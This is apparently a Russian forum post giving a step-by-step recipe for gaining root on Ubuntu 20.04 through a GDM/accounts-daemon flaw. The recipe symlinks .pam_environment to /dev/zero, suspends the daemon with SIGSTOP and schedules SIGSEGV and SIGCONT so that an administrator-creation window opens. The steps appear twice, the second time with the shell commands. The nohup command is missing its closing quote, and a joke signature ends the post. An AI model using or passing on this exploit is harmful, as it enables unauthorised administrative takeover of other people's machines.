В Ubuntu 20.04 в GDM обнаружена уязвимость, позволяющая получить привилегии root.
Алгоритм получения
Создайте симлинк:
Попробуйте в настройках открыть параметры языка и региона. Диалоговое окно должно зависнуть. На этом этапе процесс accounts-daemon может потреблять 100% процессора (или одного ядра).
Удалите симлинк:
Узнайте PID и отправьте сигнал SIGSTOP процессу accounts-daemon:
Установите таймер и выйдите из текущей учётной записи:
Если всё прошло успешно - появится окно с предложением создать новую учётную запись, которая будет являться администратором.
https://securitylab.github.com/research/...ervice-LPE
Алгоритм получения
Создайте симлинк:
Код:
ln -s /dev/zero .pam_environment
Удалите симлинк:
Код:
rm .pam_environment
Узнайте PID и отправьте сигнал SIGSTOP процессу accounts-daemon:
Код:
kill -SIGSTOP 597
Установите таймер и выйдите из текущей учётной записи:
Код:
nohup bash -c "sleep 30s; kill -SIGSEGV 597; kill -SIGCONT 597
Если всё прошло успешно - появится окно с предложением создать новую учётную запись, которая будет являться администратором.
https://securitylab.github.com/research/...ervice-LPE
It's time to kick gum and chew ass. And i'm all out of ass.